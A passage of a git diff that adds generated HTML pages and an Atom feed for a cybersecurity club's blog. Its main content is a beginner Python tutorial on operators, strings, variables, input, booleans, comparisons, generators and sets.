style="color:#fa5c4b;">if </span><span>i </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span>i +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(numbers(</span><span style="color:#d3869b;">11</span><span style="color:#fdf4c1;">))) +</span></code></pre> +<blockquote> +<p>Using generators results in improved performance, which is the result of the lazy (on demand) generation of values, which translates to lower memory usage. Furthermore, we do not need to wait until all the elements have been generated before we start to use them.</p> +</blockquote> +<h2 id="sets">Sets</h2> +<p>Sets are data structures, similar to lists or dictionaries. They are created using curly braces, or the set function. They share some functionality with lists, such as the use of in to check whether they contain a particular item.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num_set </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>} +</span><span>word_set </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">set</span><span style="color:#fdf4c1;">([</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;sausage&quot;</span><span style="color:#fdf4c1;">]) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">num_set) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot; </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">word_set) +</span></code></pre> +<blockquote> +<p>To create an empty set, you must use <code>set()</code>, as <code>{}</code> creates an empty dictionary.</p> +</blockquote> +<p>Sets differ from lists in several ways, but share several list operations such as len. They are unordered, which means that they can’t be indexed. They cannot contain duplicate elements. Due to the way they’re stored, it’s faster to check whether an item is part of a set, rather than part of a list. Instead of using append to add to a set, use add. The method remove removes a specific element from a set; pop removes an arbitrary element.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span><span style="color:#fdf4c1;">nums.add(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">nums.remove(</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>Basic uses of sets include membership testing and the elimination of duplicate entries.</p> +</blockquote> +<p>Sets can be combined using mathematical operations. The union operator <code>|</code> combines two sets to form a new one containing items in either. The intersection operator <code>&amp;</code> gets items only in both. The difference operator <code>-</code> gets items in the first set but not in the second. The symmetric difference operator <code>^</code> gets items in either set, but not both.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>first </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>} +</span><span>second </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>, </span><span style="color:#d3869b;">7</span><span>, </span><span style="color:#d3869b;">8</span><span>, </span><span style="color:#d3869b;">9</span><span>} +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">| </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">&amp; </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">- </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(second </span><span style="color:#fe8019;">- </span><span style="color:#fdf4c1;">first) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">^ </span><span style="color:#fdf4c1;">second) +</span></code></pre> + + + + diff --git a/tags/Python Programming/index.html b/tags/Python Programming/index.html new file mode 100644 index 0000000..02e2598 --- /dev/null +++ b/tags/Python Programming/index.html @@ -0,0 +1 @@ +exploiitm blog

Python Programming

\ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000..2225750 --- /dev/null +++ b/tags/index.html @@ -0,0 +1 @@ +exploiitm blog

tags

#Python Programming[1] #scripting[1]

\ No newline at end of file diff --git a/tags/scripting/atom.xml b/tags/scripting/atom.xml new file mode 100644 index 0000000..25b6074 --- /dev/null +++ b/tags/scripting/atom.xml @@ -0,0 +1,1248 @@ + + + exploiitm blog - scripting + Official blog of Cybersecurity Club, IIT Madras + + + Zola + 2024-05-22T00:00:00+00:00 + https://exploiitm.github.io/blog/tags/scripting/atom.xml + + 1.1 Basic Python Programming + 2024-05-22T00:00:00+00:00 + 2024-05-22T00:00:00+00:00 + + + + + Unknown + + + + + + https://exploiitm.github.io/blog/resources/resource1/ + + <h2 id="simple-operations">Simple Operations</h2> +<p>Python has the capability of carrying out calculations. Enter a calculation directly into a print statement:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The spaces around the plus and the minus signs here are optional (the code would work without them) but they make it easier to read.</p> +</blockquote> +<p>Python also carries out multiplication and division, using an <strong>asterisk</strong> <code>*</code> to indicate multiplication and a <strong>forward slash</strong> <code>/</code> to indicate division.</p> +<p>Use <strong>parentheses</strong> to determine which operations are performed first.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fe8019;">+</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Using a single slash to divide numbers produces a decimal (or <strong><em>float</em></strong>, as it is called in programming). We’ll learn more about <strong>floats</strong> later.</p> +</blockquote> +<p>Dividing by zero produces an <strong>error</strong> in python, as no answer can be calculated.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">11</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">) +</span></code></pre> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>Traceback(most recent call last): +</span><span>File&quot;\&lt;stdin\&gt;&quot;, line 1, in \&lt;module\&gt; +</span><span>ZeroDivisionError: division by zero +</span></code></pre> +<blockquote> +<p>In python, the last line of an error message indicates the error’s type. Read error messages carefully, as they often tell you how to fix a program!</p> +</blockquote> +<h2 id="floats">Floats</h2> +<p><strong>Floats</strong> are used in python to represent numbers that <strong>aren’t integers</strong> (whole numbers). Some examples of numbers that are represented as floats are 0.5 and -7.8538953. They can be created directly by entering a number with a decimal point, or by using operations such as division on integers.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Computers can’t store floats perfectly accurately, in the same way we can’t write down the complete decimal expansion of 1/3 (0.333333333…). Keep this in mind, because it often leads to infuriating bugs!</p> +</blockquote> +<p>A float is also produced by running an operation on two floats, or on a float and an integer.</p> +<blockquote> +<p>A float can be added to an integer, because Python silently converts the ineger to a float.</p> +</blockquote> +<h2 id="exponentiation">Exponentiation</h2> +<p>Besides addition, subtraction, multiplication, and division, Python also supports exponentiation, which is raising of one number to the power of another. This operation is performed using two asterisks.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">9</span><span style="color:#fe8019;">**</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>You can chain exponentiation together. In other words, you can raise a number to multiple powers. Eg. 2<strong>3</strong>2</p> +</blockquote> +<h2 id="quotient">Quotient</h2> +<p><strong>Floor division</strong> is done using two forward slashes and is used to determine the <strong>quotient</strong> of a division (the quantity produced by the division of two numbers).</p> +<p><strong>For example:</strong></p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fe8019;">//</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>The code above will output 3. </p> +<blockquote> +<p>You can also use floor division on floats</p> +</blockquote> +<h2 id="remainder">Remainder</h2> +<p>The <strong>modulo operator</strong> is carried out with a percent symbol <code>%</code> and is used to get the <strong>remainder</strong> of a division.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1.25</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">0.5</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>All numerical operators can also be used with floats.</p> +</blockquote> +<h2 id="strings">Strings</h2> +<p>If you want to use text in python, you have to use a string. A string is created by entering text between <strong>two single or double quotation marks</strong>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Python is fun!&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Always look on the bright side&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The delimiter (” or ’) used for a string doesn’t affect how it behaves in any way.</p> +</blockquote> +<h3 id="backslash">Backslash</h3> +<p>Some characters cant be directly included in a string. For instance, double quotes can’t be directly included in a double quote string; this would cause it to end prematurely.</p> +<p>Characters like double quotes must be escaped by placing a <strong>backslash</strong> before them. Double quotes need to be escaped in double quotes strings only, and the same is true for single quotes strings. For Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;Brian\&#39;s mother: He\&#39;s not an angel. He\&#39;s a naughty boy!&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Backslashes can also be used to escape tabs, arbitrary Unicode characters, and various other things that can’t be reliably printed.</p> +</blockquote> +<p>Newlines</p> +<p><code>\n</code> represents a new line. It can be used in strings to create multi-line output.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;One **\n** Two **\n** Three&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Newlines will automatically be added for strings that are created using three quotes.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;&quot;&quot;This +</span><span style="color:#b8bb26;">is a +</span><span style="color:#b8bb26;">multiline +</span><span style="color:#b8bb26;">text&quot;&quot;&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Similarly, <code>\t</code> represents a tab.</p> +</blockquote> +<h3 id="concatenation">Concatenation</h3> +<p>As with integers and floats, strings in Python can be added, using a process called <em>concatenation</em>, which can be done on any two strings.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Spam&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&#39;eggs&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>When concatenating strings, it doesn’t matter whether they have been created with single or double quotes, as seen above</p> +</blockquote> +<blockquote> +<p>Adding a string to a number produces an error, as even though they might look similar, they are two different entities</p> +</blockquote> +<h3 id="string-operations">String Operations</h3> +<p>Strings can also be <strong>multiplied</strong> with integers. This produces a repeated version of that string. The order of the <em>string</em> and the <em>integer</em> doesn’t matter, but the string usually comes first.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fe8019;">*</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4</span><span style="color:#fe8019;">*</span><span style="color:#b8bb26;">&#39;2&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Strings can’t be multiplied with other strings. Strings also can’t be multiplied by floats, even if the floats are whole numbers.</p> +</blockquote> +<h2 id="variables">Variables</h2> +<p>A <em>variable</em> allows you to store a value by assigning it to a name, which can be used to refer to the value later in the program. For example, in game development, you would use a variable to to store the points of the player.</p> +<p>To assign a variable, use <strong>one equals sign</strong>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>user </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;James&quot; +</span></code></pre> +<p>You can use variables to perform corresponding operations, just as you did with numbers and strings:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>The variable stores its value throughout the program.</p> +</blockquote> +<p>Variables can be assigned as many times as you want, in order to change their value. In python, variables don’t have specific types, so you can assign a string to a variable, and later assign an integer to the same variable.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">123.456 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;This is a string&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#b8bb26;">&quot;!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>However, this is not a good practice. To avoid mistakes, try to avoid overwriting the same variable with different data types.</p> +</blockquote> +<h3 id="variable-names">Variable Names</h3> +<p>Certain restrictions apply in regard to the characters that may be used in python variable names. The only characters that are allowed are <strong>letters, numbers and underscore</strong>. Also, they can’t start with numbers. Not following these rules results in errors.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>this_is_a_normal_name </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span> +</span><span>123abc </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span></code></pre> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>SyntaxError: invalid syntax +</span></code></pre> +<blockquote> +<p>Python is a case sensitive programming language. Thus, <code>lastname</code> and <code>Lastname</code> are two <em>different</em> variable names in python.</p> +</blockquote> +<p>You can use the <em>del</em> statement to remove a variable, which means the reference from the name to the value is deleted, and trying to use the variable causes an error.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>foo </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">del </span><span>foo +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(foo) +</span><span style="font-style:italic;color:#928374;"># results in an error +</span></code></pre> +<p>Deleted variables can also e reassigned to later as normal.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>foo </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">2 +</span><span>bar </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">del </span><span>bar +</span><span>bar </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">8 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(foo </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">bar) +</span></code></pre> +<blockquote> +<p>The variables foo and bar are called metasyntactic variables, meaning they are used as placeholder names in example code to demonstrate something.</p> +</blockquote> +<h2 id="input">Input</h2> +<p>To get input from the user in python, you can use the intuitively named input function. For example, a game can ask for a user’s name and age as input and use them in the game.</p> +<p>The input function prompts the user for input, and returns what they enter as a string (with the contents automatically escaped).</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>Even if the user enters a number as an input, it is processed as a string.</p> +</blockquote> +<p>The input statement needs to be followed by parentheses. You can provide a string to <code>input()</code> between the parentheses, producing a prompt message.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>name </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Enter your name: &quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">name) +</span></code></pre> +<blockquote> +<p>The prompt message helps clarify what the input is asking for.</p> +</blockquote> +<p>To convert the string to a number, we can use the <code>int()</code> function:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>age </span><span style="color:#fe8019;">=</span><span style="color:#fabd2f;">int</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(age) +</span></code></pre> +<p>Similarly, in order to convert a number to a string, the str() function is used. This can be useful if you need to use a number in string concatenation. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>age </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">42 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;His age is&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(age)) +</span></code></pre> +<blockquote> +<p>You can convert to float using the float() function.</p> +</blockquote> +<p>You can take input multiple times to take multiple user input. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>name </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span>age </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(name </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">age) +</span></code></pre> +<blockquote> +<p>When input function executes, program flow stops until the user enters some value.</p> +</blockquote> +<h2 id="in-place-operators">In Place Operators</h2> +<p>In-place operators allow you to write code like <code>x = x + 3</code> more concisely as <code>x +=3</code>. The same thing is possible with other operators such as <code>-</code>,<code>*</code>, <code>/</code>, and <code>%</code> as well.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">2 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">3 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<p>These operators can be used on types other than numbers, as well, such as strings.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x</span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;spam&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">+= </span><span style="color:#b8bb26;">&quot;eggs&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>In-place operators can be used for any numerical operation (+,-,*,/,%,**,//).</p> +</blockquote> +<h2 id="booleans">Booleans</h2> +<p>Another type in python is the <strong>Boolean</strong> type. There are two Boolean values: <code>True</code> and <code>False</code>. They can be created by comparing values, for instance by using the equal to <code>==</code>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>my_boolean </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">True +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(my_boolean) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;hello&quot; </span><span style="color:#fe8019;">== </span><span style="color:#b8bb26;">&#39;hello&#39;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Be careful not to confuse assignment (one equal sign) with comparison (two equal signs).</p> +</blockquote> +<h2 id="comparison">Comparison</h2> +<p>Another comparison operator, the <em>not</em> equal operator (!=), evaluates to True if the items being compared aren’t equal, and False if they are.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;eleven&quot; </span><span style="color:#fe8019;">!= </span><span style="color:#b8bb26;">&quot;seven&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Comparison operators are also called relational operators.</p> +</blockquote> +<p>Python also has operators that determine whether one number (float or integer) is greater than or smaller than another. These operators are <code>&gt;</code> and <code>&lt;</code> respectively.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">7 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span></code></pre> +<blockquote> +<p>Different numeric types can also be compared, for example, integer and float.</p> +</blockquote> +<p>The greater than or equal to, and the smaller than or equal to operators are &gt;= and &lt;=. They are the same as the strict greater than and smaller than operators, except that they return True when comparing equal numbers.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">7</span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">9</span><span style="color:#fe8019;">&gt;=</span><span style="color:#d3869b;">9.0</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<p>Greater than and smaller than operators can also be used to compare strings <em>lexicographically</em>. For Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Annie&quot; </span><span style="color:#fe8019;">&gt; </span><span style="color:#b8bb26;">&quot;Andy&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<h2 id="if-statements">If statements</h2> +<p>You can use if statements to run code if a certain condition holds. If the expression evaluates to True, some statements are carried out.Otherwise they aren’t carried out. An if statement looks like this:</p> +<p>if expression: +<br> statements</p> +<blockquote> +<p>Python uses indentation, (white spaces at the beginning of a line) to delimit blocks of code. Depending on the program’s logic, indentation can be mandatory. As you can see, the statements in the if should be indented.</p> +</blockquote> +<p>Here is an example of if statement:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">if </span><span style="color:#d3869b;">10 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;10 is greater than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;The program 